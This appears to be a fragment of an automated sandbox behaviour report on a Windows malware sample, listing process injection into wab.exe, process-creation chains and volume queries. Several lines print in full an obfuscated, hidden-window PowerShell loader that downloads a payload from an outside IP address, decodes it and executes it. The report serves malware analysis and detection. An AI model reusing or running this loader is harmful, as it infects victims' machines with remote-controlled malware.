Thread APC queued: target process: C:\Program Files (x86)\TEQyXgSnDatkngzhZOVCchQnHjnoGRgXuwOVmnmokOM\iqAcDmQSdyp.exe

Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Program Files (x86)\Windows Mail\wab.exe base: 3000000			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Program Files (x86)\Windows Mail\wab.exe base: 2D4FAAC			Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden "$Slvtjsskabets3 = 1;$Adoptionsbevillingers='S';$Adoptionsbevillingers+='ubstrin';$Adoptionsbevillingers+='g';Function Takilman203($Prefade){$Unconversable=$Prefade.Length-$Slvtjsskabets3;For($Magnetometrical=1; $Magnetometrical -lt $Unconversable; $Magnetometrical+=(2)){$Cardsharping+=$Prefade.$Adoptionsbevillingers.Invoke($Magnetometrical, $Slvtjsskabets3);}$Cardsharping;}function Roebling($Unmotivatedly){& ($Opmuntringernes) ($Unmotivatedly);}$Glatslebnes=Takilman203 ' M o,zHiSl l,a /F5m.B0G (GWTiInId,o w.sM NfT, 1S0C.,0G;P HWSi,n,6V4 ; Px 6V4S;S .rVvB:L1D2C1N.U0 ). G.e cDk oE/U2M0B1 0P0D1,0b1F FCiSr,eWfCoFx./,1,2R1 . 0A ';$Butikshandlerne=Takilman203 ' U,s e.r - A gUeMnKt ';$Winterfeeding=Takilman203 ',h.tLt,pT:C/,/S8F7 . 1 2 1D..1 0N5N.B1 6A3S/SPSu nDkDt e,t..,hShIp. ';$Lessoning=Takilman203 '.>S ';$Opmuntringernes=Takilman203 'Ki e xP ';$Farvefabrikkerne='Overbrained';Roebling (Takilman203 'bS,eitH-SC o n.t e n.t K-DPUa,tNh, TT,: \.C.hoi s e lAi n.g sI.Gt xDt - V aOlFuSei $,FUa r v eDfFaIbjrDiDk.k.e rLn eT;S ');Roebling (Takilman203 '.i,f. T(,tSe sctu-kp aTtKh, ATF: \kC h i.sBe l iCn.gRsP..tWxStK) {EeUx i t } ;W ');$Electriceel = Takilman203 ' eEcPhOoV %,anp,pRd aGtHar% \BS t rKeCg mGa.aUlRe nRe .GDUiTsr &S&k Ae c,h.o. v$ ';Roebling (Takilman203 ',$ g lroBb aSlK: R uHbHiMcGoWn = (.cTmSdR A/ScD $IERl e,cet,r iPc.e e lF)V ');Roebling (Takilman203 ' $,gEl oAb aUlH:KGGaIrAa n.tAsT=.$AW i n.tSeErFfRe eAd,iTn g..OsHp l,i tB(S$ L ePsUsSo.nSi nDgU)N ');$Winterfeeding=$Garants[0];Roebling (Takilman203 ' $Bg l oFbsaFl :DFAiFn,gAe r vPaHnCtPeRn.= N,eIwe- OKbMjMeCc.t BSMy s.tGePmH.,NueAt,. W.eLb.C.lBiCe,nCtB ');Roebling (Takilman203 'G$NF.i nPgHe rUv aTnstNeWn . HPe a dKe rus [ $EBSu tRiDkSsAhSa n dLl,errRn e ]R=I$TG l a.t s l eSb nMe,si ');$Formatlinietegnets=Takilman203 ' FMi,nFgLe rSv a nBt.eunC.HDFoNw n lSoFaMdWFBi.lTeP(.$AWFiMnOt,eHrEfWeFe dii n,gP,E$FDPuKblbFiKnA)P ';$Formatlinietegnets=$Rubicon[1]+$Formatlinietegnets;$Dubbin=$Rubicon[0];Roebling (Takilman203 'M$ g l,oKb,aVls:,BUeSgMy.nDdPe rGk,o.nMs,t,r,uMkRt iCo n 4 1U=I(.T.e,sHtO-APPa tFhS .$BDvu.bAb.i nI) ');while (!$Begynderkonstruktion41) {Roebling (Takilman203 ',$ gSl oBb aClP:.m aTr.iJn e s,tpa toiFoFnRe rPn.e s =B$ftJr uFe ') ;Roebling $Formatlinietegnets;Roebling (Takilman203 'US.tLaSr tF- SMlBe.e,p K4D ');Roebling (Takilman203 'Y$,g lMobb a,lF: BFe g yTnKd.e rBkPo,nvsSt.rGutk.t,i,o.n 4B1,=I( T e s tA-.PSaSt,hM S$ DLuBbMb i n )I ') ;Roebling (Takilman203 ',$HgUlCo.b,a lT: CIaHr eReMnF= $MgflboAbNaOls:bt.iUl r.e.gPnLeRt,+f+B%s$SG.aDrSa nPt sB. c oIu,nDt ') ;$Winterfeeding=$Garants[$Careen];}Roebling (Takilman203 ' $,gClBo,bSaMl,:BATkHt iLoUn sDe.nShGe dke.nNs, G=s GCeUtG-SCdo n tSe,n tS $GD,u.b b,i nS ');Roebling (Takilman203 'F$AgMlMo b a.l : HSeSaUd m,e n. ,= [ S,y.sNt eEmT.,C osnNv eHrHt ] :,:,FUr o muB aSsEe 6,4GS t,r.itnfgU( $,AEkst i oAn,s,eBn,h e dUe nBs )U ');R	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Stregmaalene.Dis && echo $"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Slvtjsskabets3 = 1;$Adoptionsbevillingers='S';$Adoptionsbevillingers+='ubstrin';$Adoptionsbevillingers+='g';Function Takilman203($Prefade){$Unconversable=$Prefade.Length-$Slvtjsskabets3;For($Magnetometrical=1; $Magnetometrical -lt $Unconversable; $Magnetometrical+=(2)){$Cardsharping+=$Prefade.$Adoptionsbevillingers.Invoke($Magnetometrical, $Slvtjsskabets3);}$Cardsharping;}function Roebling($Unmotivatedly){& ($Opmuntringernes) ($Unmotivatedly);}$Glatslebnes=Takilman203 ' M o,zHiSl l,a /F5m.B0G (GWTiInId,o w.sM NfT, 1S0C.,0G;P HWSi,n,6V4 ; Px 6V4S;S .rVvB:L1D2C1N.U0 ). G.e cDk oE/U2M0B1 0P0D1,0b1F FCiSr,eWfCoFx./,1,2R1 . 0A ';$Butikshandlerne=Takilman203 ' U,s e.r - A gUeMnKt ';$Winterfeeding=Takilman203 ',h.tLt,pT:C/,/S8F7 . 1 2 1D..1 0N5N.B1 6A3S/SPSu nDkDt e,t..,hShIp. ';$Lessoning=Takilman203 '.>S ';$Opmuntringernes=Takilman203 'Ki e xP ';$Farvefabrikkerne='Overbrained';Roebling (Takilman203 'bS,eitH-SC o n.t e n.t K-DPUa,tNh, TT,: \.C.hoi s e lAi n.g sI.Gt xDt - V aOlFuSei $,FUa r v eDfFaIbjrDiDk.k.e rLn eT;S ');Roebling (Takilman203 '.i,f. T(,tSe sctu-kp aTtKh, ATF: \kC h i.sBe l iCn.gRsP..tWxStK) {EeUx i t } ;W ');$Electriceel = Takilman203 ' eEcPhOoV %,anp,pRd aGtHar% \BS t rKeCg mGa.aUlRe nRe .GDUiTsr &S&k Ae c,h.o. v$ ';Roebling (Takilman203 ',$ g lroBb aSlK: R uHbHiMcGoWn = (.cTmSdR A/ScD $IERl e,cet,r iPc.e e lF)V ');Roebling (Takilman203 ' $,gEl oAb aUlH:KGGaIrAa n.tAsT=.$AW i n.tSeErFfRe eAd,iTn g..OsHp l,i tB(S$ L ePsUsSo.nSi nDgU)N ');$Winterfeeding=$Garants[0];Roebling (Takilman203 ' $Bg l oFbsaFl :DFAiFn,gAe r vPaHnCtPeRn.= N,eIwe- OKbMjMeCc.t BSMy s.tGePmH.,NueAt,. W.eLb.C.lBiCe,nCtB ');Roebling (Takilman203 'G$NF.i nPgHe rUv aTnstNeWn . HPe a dKe rus [ $EBSu tRiDkSsAhSa n dLl,errRn e ]R=I$TG l a.t s l eSb nMe,si ');$Formatlinietegnets=Takilman203 ' FMi,nFgLe rSv a nBt.eunC.HDFoNw n lSoFaMdWFBi.lTeP(.$AWFiMnOt,eHrEfWeFe dii n,gP,E$FDPuKblbFiKnA)P ';$Formatlinietegnets=$Rubicon[1]+$Formatlinietegnets;$Dubbin=$Rubicon[0];Roebling (Takilman203 'M$ g l,oKb,aVls:,BUeSgMy.nDdPe rGk,o.nMs,t,r,uMkRt iCo n 4 1U=I(.T.e,sHtO-APPa tFhS .$BDvu.bAb.i nI) ');while (!$Begynderkonstruktion41) {Roebling (Takilman203 ',$ gSl oBb aClP:.m aTr.iJn e s,tpa toiFoFnRe rPn.e s =B$ftJr uFe ') ;Roebling $Formatlinietegnets;Roebling (Takilman203 'US.tLaSr tF- SMlBe.e,p K4D ');Roebling (Takilman203 'Y$,g lMobb a,lF: BFe g yTnKd.e rBkPo,nvsSt.rGutk.t,i,o.n 4B1,=I( T e s tA-.PSaSt,hM S$ DLuBbMb i n )I ') ;Roebling (Takilman203 ',$HgUlCo.b,a lT: CIaHr eReMnF= $MgflboAbNaOls:bt.iUl r.e.gPnLeRt,+f+B%s$SG.aDrSa nPt sB. c oIu,nDt ') ;$Winterfeeding=$Garants[$Careen];}Roebling (Takilman203 ' $,gClBo,bSaMl,:BATkHt iLoUn sDe.nShGe dke.nNs, G=s GCeUtG-SCdo n tSe,n tS $GD,u.b b,i nS ');Roebling (Takilman203 'F$AgMlMo b a.l : HSeSaUd m,e n. ,= [ S,y.sNt eEmT.,C osnNv eHrHt ] :,:,FUr o muB aSsEe 6,4GS t,r.itnfgU( $,AEkst i oAn,s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Stregmaalene.Dis && echo $"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Windows Mail\wab.exe "C:\Program Files (x86)\windows mail\wab.exe"	Jump to behavior
Source: C:\Program Files (x86)\TEQyXgSnDatkngzhZOVCchQnHjnoGRgXuwOVmnmokOM\iqAcDmQSdyp.exe	Process created: C:\Windows\SysWOW64\AtBroker.exe "C:\Windows\SysWOW64\AtBroker.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden "$slvtjsskabets3 = 1;$adoptionsbevillingers='s';$adoptionsbevillingers+='ubstrin';$adoptionsbevillingers+='g';function takilman203($prefade){$unconversable=$prefade.length-$slvtjsskabets3;for($magnetometrical=1; $magnetometrical -lt $unconversable; $magnetometrical+=(2)){$cardsharping+=$prefade.$adoptionsbevillingers.invoke($magnetometrical, $slvtjsskabets3);}$cardsharping;}function roebling($unmotivatedly){& ($opmuntringernes) ($unmotivatedly);}$glatslebnes=takilman203 ' m o,zhisl l,a /f5m.b0g (gwtiinid,o w.sm nft, 1s0c.,0g;p hwsi,n,6v4 ; px 6v4s;s .rvvb:l1d2c1n.u0 ). g.e cdk oe/u2m0b1 0p0d1,0b1f fcisr,ewfcofx./,1,2r1 . 0a ';$butikshandlerne=takilman203 ' u,s e.r - a guemnkt ';$winterfeeding=takilman203 ',h.tlt,pt:c/,/s8f7 . 1 2 1d..1 0n5n.b1 6a3s/spsu ndkdt e,t..,hship. ';$lessoning=takilman203 '.>s ';$opmuntringernes=takilman203 'ki e xp ';$farvefabrikkerne='overbrained';roebling (takilman203 'bs,eith-sc o n.t e n.t k-dpua,tnh, tt,: \.c.hoi s e lai n.g si.gt xdt - v aolfusei $,fua r v edffaibjrdidk.k.e rln et;s ');roebling (takilman203 '.i,f. t(,tse sctu-kp attkh, atf: \kc h i.sbe l icn.grsp..twxstk) {eeux i t } ;w ');$electriceel = takilman203 ' eecphoov %,anp,prd agthar% \bs t rkecg mga.aulre nre .gduitsr &s&k ae c,h.o. v$ ';roebling (takilman203 ',$ g lrobb aslk: r uhbhimcgown = (.ctmsdr a/scd $ierl e,cet,r ipc.e e lf)v ');roebling (takilman203 ' $,gel oab aulh:kggairaa n.tast=.$aw i n.tseerffre ead,itn g..oshp l,i tb(s$ l epsusso.nsi ndgu)n ');$winterfeeding=$garants[0];roebling (takilman203 ' $bg l ofbsafl :dfaifn,gae r vpahnctpern.= n,eiwe- okbmjmecc.t bsmy s.tgepmh.,nueat,. w.elb.c.lbice,nctb ');roebling (takilman203 'g$nf.i npghe ruv atnstnewn . hpe a dke rus [ $ebsu tridkssahsa n dll,errrn e ]r=i$tg l a.t s l esb nme,si ');$formatlinietegnets=takilman203 ' fmi,nfgle rsv a nbt.eunc.hdfonw n lsofamdwfbi.ltep(.$awfimnot,ehrefwefe dii n,gp,e$fdpukblbfikna)p ';$formatlinietegnets=$rubicon[1]+$formatlinietegnets;$dubbin=$rubicon[0];roebling (takilman203 'm$ g l,okb,avls:,buesgmy.nddpe rgk,o.nms,t,r,umkrt ico n 4 1u=i(.t.e,shto-appa tfhs .$bdvu.bab.i ni) ');while (!$begynderkonstruktion41) {roebling (takilman203 ',$ gsl obb aclp:.m atr.ijn e s,tpa toifofnre rpn.e s =b$ftjr ufe ') ;roebling $formatlinietegnets;roebling (takilman203 'us.tlasr tf- smlbe.e,p k4d ');roebling (takilman203 'y$,g lmobb a,lf: bfe g ytnkd.e rbkpo,nvsst.rgutk.t,i,o.n 4b1,=i( t e s ta-.psast,hm s$ dlubbmb i n )i ') ;roebling (takilman203 ',$hgulco.b,a lt: ciahr eremnf= $mgflboabnaols:bt.iul r.e.gpnlert,+f+b%s$sg.adrsa npt sb. c oiu,ndt ') ;$winterfeeding=$garants[$careen];}roebling (takilman203 ' $,gclbo,bsaml,:batkht iloun sde.nshge dke.nns, g=s gceutg-scdo n tse,n ts $gd,u.b b,i ns ');roebling (takilman203 'f$agmlmo b a.l : hsesaud m,e n. ,= [ s,y.snt eemt.,c osnnv ehrht ] :,:,fur o mub assee 6,4gs t,r.itnfgu( $,aekst i oan,s,ebn,h e due nbs )u ');r
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" "$slvtjsskabets3 = 1;$adoptionsbevillingers='s';$adoptionsbevillingers+='ubstrin';$adoptionsbevillingers+='g';function takilman203($prefade){$unconversable=$prefade.length-$slvtjsskabets3;for($magnetometrical=1; $magnetometrical -lt $unconversable; $magnetometrical+=(2)){$cardsharping+=$prefade.$adoptionsbevillingers.invoke($magnetometrical, $slvtjsskabets3);}$cardsharping;}function roebling($unmotivatedly){& ($opmuntringernes) ($unmotivatedly);}$glatslebnes=takilman203 ' m o,zhisl l,a /f5m.b0g (gwtiinid,o w.sm nft, 1s0c.,0g;p hwsi,n,6v4 ; px 6v4s;s .rvvb:l1d2c1n.u0 ). g.e cdk oe/u2m0b1 0p0d1,0b1f fcisr,ewfcofx./,1,2r1 . 0a ';$butikshandlerne=takilman203 ' u,s e.r - a guemnkt ';$winterfeeding=takilman203 ',h.tlt,pt:c/,/s8f7 . 1 2 1d..1 0n5n.b1 6a3s/spsu ndkdt e,t..,hship. ';$lessoning=takilman203 '.>s ';$opmuntringernes=takilman203 'ki e xp ';$farvefabrikkerne='overbrained';roebling (takilman203 'bs,eith-sc o n.t e n.t k-dpua,tnh, tt,: \.c.hoi s e lai n.g si.gt xdt - v aolfusei $,fua r v edffaibjrdidk.k.e rln et;s ');roebling (takilman203 '.i,f. t(,tse sctu-kp attkh, atf: \kc h i.sbe l icn.grsp..twxstk) {eeux i t } ;w ');$electriceel = takilman203 ' eecphoov %,anp,prd agthar% \bs t rkecg mga.aulre nre .gduitsr &s&k ae c,h.o. v$ ';roebling (takilman203 ',$ g lrobb aslk: r uhbhimcgown = (.ctmsdr a/scd $ierl e,cet,r ipc.e e lf)v ');roebling (takilman203 ' $,gel oab aulh:kggairaa n.tast=.$aw i n.tseerffre ead,itn g..oshp l,i tb(s$ l epsusso.nsi ndgu)n ');$winterfeeding=$garants[0];roebling (takilman203 ' $bg l ofbsafl :dfaifn,gae r vpahnctpern.= n,eiwe- okbmjmecc.t bsmy s.tgepmh.,nueat,. w.elb.c.lbice,nctb ');roebling (takilman203 'g$nf.i npghe ruv atnstnewn . hpe a dke rus [ $ebsu tridkssahsa n dll,errrn e ]r=i$tg l a.t s l esb nme,si ');$formatlinietegnets=takilman203 ' fmi,nfgle rsv a nbt.eunc.hdfonw n lsofamdwfbi.ltep(.$awfimnot,ehrefwefe dii n,gp,e$fdpukblbfikna)p ';$formatlinietegnets=$rubicon[1]+$formatlinietegnets;$dubbin=$rubicon[0];roebling (takilman203 'm$ g l,okb,avls:,buesgmy.nddpe rgk,o.nms,t,r,umkrt ico n 4 1u=i(.t.e,shto-appa tfhs .$bdvu.bab.i ni) ');while (!$begynderkonstruktion41) {roebling (takilman203 ',$ gsl obb aclp:.m atr.ijn e s,tpa toifofnre rpn.e s =b$ftjr ufe ') ;roebling $formatlinietegnets;roebling (takilman203 'us.tlasr tf- smlbe.e,p k4d ');roebling (takilman203 'y$,g lmobb a,lf: bfe g ytnkd.e rbkpo,nvsst.rgutk.t,i,o.n 4b1,=i( t e s ta-.psast,hm s$ dlubbmb i n )i ') ;roebling (takilman203 ',$hgulco.b,a lt: ciahr eremnf= $mgflboabnaols:bt.iul r.e.gpnlert,+f+b%s$sg.adrsa npt sb. c oiu,ndt ') ;$winterfeeding=$garants[$careen];}roebling (takilman203 ' $,gclbo,bsaml,:batkht iloun sde.nshge dke.nns, g=s gceutg-scdo n tse,n ts $gd,u.b b,i ns ');roebling (takilman203 'f$agmlmo b a.l : hsesaud m,e n. ,= [ s,y.snt eemt.,c osnnv ehrht ] :,:,fur o mub assee 6,4gs t,r.itnfgu( $,aekst i oan,s
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden "$slvtjsskabets3 = 1;$adoptionsbevillingers='s';$adoptionsbevillingers+='ubstrin';$adoptionsbevillingers+='g';function takilman203($prefade){$unconversable=$prefade.length-$slvtjsskabets3;for($magnetometrical=1; $magnetometrical -lt $unconversable; $magnetometrical+=(2)){$cardsharping+=$prefade.$adoptionsbevillingers.invoke($magnetometrical, $slvtjsskabets3);}$cardsharping;}function roebling($unmotivatedly){& ($opmuntringernes) ($unmotivatedly);}$glatslebnes=takilman203 ' m o,zhisl l,a /f5m.b0g (gwtiinid,o w.sm nft, 1s0c.,0g;p hwsi,n,6v4 ; px 6v4s;s .rvvb:l1d2c1n.u0 ). g.e cdk oe/u2m0b1 0p0d1,0b1f fcisr,ewfcofx./,1,2r1 . 0a ';$butikshandlerne=takilman203 ' u,s e.r - a guemnkt ';$winterfeeding=takilman203 ',h.tlt,pt:c/,/s8f7 . 1 2 1d..1 0n5n.b1 6a3s/spsu ndkdt e,t..,hship. ';$lessoning=takilman203 '.>s ';$opmuntringernes=takilman203 'ki e xp ';$farvefabrikkerne='overbrained';roebling (takilman203 'bs,eith-sc o n.t e n.t k-dpua,tnh, tt,: \.c.hoi s e lai n.g si.gt xdt - v aolfusei $,fua r v edffaibjrdidk.k.e rln et;s ');roebling (takilman203 '.i,f. t(,tse sctu-kp attkh, atf: \kc h i.sbe l icn.grsp..twxstk) {eeux i t } ;w ');$electriceel = takilman203 ' eecphoov %,anp,prd agthar% \bs t rkecg mga.aulre nre .gduitsr &s&k ae c,h.o. v$ ';roebling (takilman203 ',$ g lrobb aslk: r uhbhimcgown = (.ctmsdr a/scd $ierl e,cet,r ipc.e e lf)v ');roebling (takilman203 ' $,gel oab aulh:kggairaa n.tast=.$aw i n.tseerffre ead,itn g..oshp l,i tb(s$ l epsusso.nsi ndgu)n ');$winterfeeding=$garants[0];roebling (takilman203 ' $bg l ofbsafl :dfaifn,gae r vpahnctpern.= n,eiwe- okbmjmecc.t bsmy s.tgepmh.,nueat,. w.elb.c.lbice,nctb ');roebling (takilman203 'g$nf.i npghe ruv atnstnewn . hpe a dke rus [ $ebsu tridkssahsa n dll,errrn e ]r=i$tg l a.t s l esb nme,si ');$formatlinietegnets=takilman203 ' fmi,nfgle rsv a nbt.eunc.hdfonw n lsofamdwfbi.ltep(.$awfimnot,ehrefwefe dii n,gp,e$fdpukblbfikna)p ';$formatlinietegnets=$rubicon[1]+$formatlinietegnets;$dubbin=$rubicon[0];roebling (takilman203 'm$ g l,okb,avls:,buesgmy.nddpe rgk,o.nms,t,r,umkrt ico n 4 1u=i(.t.e,shto-appa tfhs .$bdvu.bab.i ni) ');while (!$begynderkonstruktion41) {roebling (takilman203 ',$ gsl obb aclp:.m atr.ijn e s,tpa toifofnre rpn.e s =b$ftjr ufe ') ;roebling $formatlinietegnets;roebling (takilman203 'us.tlasr tf- smlbe.e,p k4d ');roebling (takilman203 'y$,g lmobb a,lf: bfe g ytnkd.e rbkpo,nvsst.rgutk.t,i,o.n 4b1,=i( t e s ta-.psast,hm s$ dlubbmb i n )i ') ;roebling (takilman203 ',$hgulco.b,a lt: ciahr eremnf= $mgflboabnaols:bt.iul r.e.gpnlert,+f+b%s$sg.adrsa npt sb. c oiu,ndt ') ;$winterfeeding=$garants[$careen];}roebling (takilman203 ' $,gclbo,bsaml,:batkht iloun sde.nshge dke.nns, g=s gceutg-scdo n tse,n ts $gd,u.b b,i ns ');roebling (takilman203 'f$agmlmo b a.l : hsesaud m,e n. ,= [ s,y.snt eemt.,c osnnv ehrht ] :,:,fur o mub assee 6,4gs t,r.itnfgu( $,aekst i oan,s,ebn,h e due nbs )u ');r	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" "$slvtjsskabets3 = 1;$adoptionsbevillingers='s';$adoptionsbevillingers+='ubstrin';$adoptionsbevillingers+='g';function takilman203($prefade){$unconversable=$prefade.length-$slvtjsskabets3;for($magnetometrical=1; $magnetometrical -lt $unconversable; $magnetometrical+=(2)){$cardsharping+=$prefade.$adoptionsbevillingers.invoke($magnetometrical, $slvtjsskabets3);}$cardsharping;}function roebling($unmotivatedly){& ($opmuntringernes) ($unmotivatedly);}$glatslebnes=takilman203 ' m o,zhisl l,a /f5m.b0g (gwtiinid,o w.sm nft, 1s0c.,0g;p hwsi,n,6v4 ; px 6v4s;s .rvvb:l1d2c1n.u0 ). g.e cdk oe/u2m0b1 0p0d1,0b1f fcisr,ewfcofx./,1,2r1 . 0a ';$butikshandlerne=takilman203 ' u,s e.r - a guemnkt ';$winterfeeding=takilman203 ',h.tlt,pt:c/,/s8f7 . 1 2 1d..1 0n5n.b1 6a3s/spsu ndkdt e,t..,hship. ';$lessoning=takilman203 '.>s ';$opmuntringernes=takilman203 'ki e xp ';$farvefabrikkerne='overbrained';roebling (takilman203 'bs,eith-sc o n.t e n.t k-dpua,tnh, tt,: \.c.hoi s e lai n.g si.gt xdt - v aolfusei $,fua r v edffaibjrdidk.k.e rln et;s ');roebling (takilman203 '.i,f. t(,tse sctu-kp attkh, atf: \kc h i.sbe l icn.grsp..twxstk) {eeux i t } ;w ');$electriceel = takilman203 ' eecphoov %,anp,prd agthar% \bs t rkecg mga.aulre nre .gduitsr &s&k ae c,h.o. v$ ';roebling (takilman203 ',$ g lrobb aslk: r uhbhimcgown = (.ctmsdr a/scd $ierl e,cet,r ipc.e e lf)v ');roebling (takilman203 ' $,gel oab aulh:kggairaa n.tast=.$aw i n.tseerffre ead,itn g..oshp l,i tb(s$ l epsusso.nsi ndgu)n ');$winterfeeding=$garants[0];roebling (takilman203 ' $bg l ofbsafl :dfaifn,gae r vpahnctpern.= n,eiwe- okbmjmecc.t bsmy s.tgepmh.,nueat,. w.elb.c.lbice,nctb ');roebling (takilman203 'g$nf.i npghe ruv atnstnewn . hpe a dke rus [ $ebsu tridkssahsa n dll,errrn e ]r=i$tg l a.t s l esb nme,si ');$formatlinietegnets=takilman203 ' fmi,nfgle rsv a nbt.eunc.hdfonw n lsofamdwfbi.ltep(.$awfimnot,ehrefwefe dii n,gp,e$fdpukblbfikna)p ';$formatlinietegnets=$rubicon[1]+$formatlinietegnets;$dubbin=$rubicon[0];roebling (takilman203 'm$ g l,okb,avls:,buesgmy.nddpe rgk,o.nms,t,r,umkrt ico n 4 1u=i(.t.e,shto-appa tfhs .$bdvu.bab.i ni) ');while (!$begynderkonstruktion41) {roebling (takilman203 ',$ gsl obb aclp:.m atr.ijn e s,tpa toifofnre rpn.e s =b$ftjr ufe ') ;roebling $formatlinietegnets;roebling (takilman203 'us.tlasr tf- smlbe.e,p k4d ');roebling (takilman203 'y$,g lmobb a,lf: bfe g ytnkd.e rbkpo,nvsst.rgutk.t,i,o.n 4b1,=i( t e s ta-.psast,hm s$ dlubbmb i n )i ') ;roebling (takilman203 ',$hgulco.b,a lt: ciahr eremnf= $mgflboabnaols:bt.iul r.e.gpnlert,+f+b%s$sg.adrsa npt sb. c oiu,ndt ') ;$winterfeeding=$garants[$careen];}roebling (takilman203 ' $,gclbo,bsaml,:batkht iloun sde.nshge dke.nns, g=s gceutg-scdo n tse,n ts $gd,u.b b,i ns ');roebling (takilman203 'f$agmlmo b a.l : hsesaud m,e n. ,= [ s,y.snt eemt.,c osnnv ehrht ] :,:,fur o mub assee 6,4gs t,r.itnfgu( $,aekst i oan,s	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
